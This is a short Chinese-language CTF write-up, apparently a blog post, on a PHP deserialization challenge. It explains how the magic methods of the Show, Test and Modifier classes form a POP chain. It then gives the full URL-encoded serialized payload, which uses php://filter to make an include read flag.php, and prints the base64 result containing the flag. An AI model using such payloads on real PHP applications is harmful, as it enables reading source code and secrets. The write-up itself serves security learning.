反序列化题:POP链构造
| 1 | Welcome to index.php | 
分析
在Modifier 类中发现include 函数,可以通过php://filter 去读取flag.php源代码。
最终我们要通过Modifier  的 append方法去包含flag.php的源代码。在Modifier 类中找到一个魔法方法__invoke() ,这个类能控制 append 方法,触发__invoke() 这个魔法方法的方式是以调用函数的方式去调用类。而在Test类中,存在一个__get 的魔法方法,有一条语句,return $function(); 并且$function可控制。而__get 触发方式是 调用一个不存在的属性或者私有属性 时,就会触发该方法。而在Show 类中存在__toString的魔法方法,return $this->str->source; 的$this->str可控制。
构造如下
| 1 | 
 | 
得到
| 1 | O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D | 
提交
| 1 | PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezIzN2Q3ODUzLWE3NDUtNGU4OS1hODk0LTFjODA4NGJkMzBmY30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+ | 
解码
在构造序列化的时候,创建了两次show对象,在之前都只是创建一次,而这里创建两次是因为创建一次的话,并不会调用到其他的类。
一道题看一天,看下来,还是有些懵的感觉。

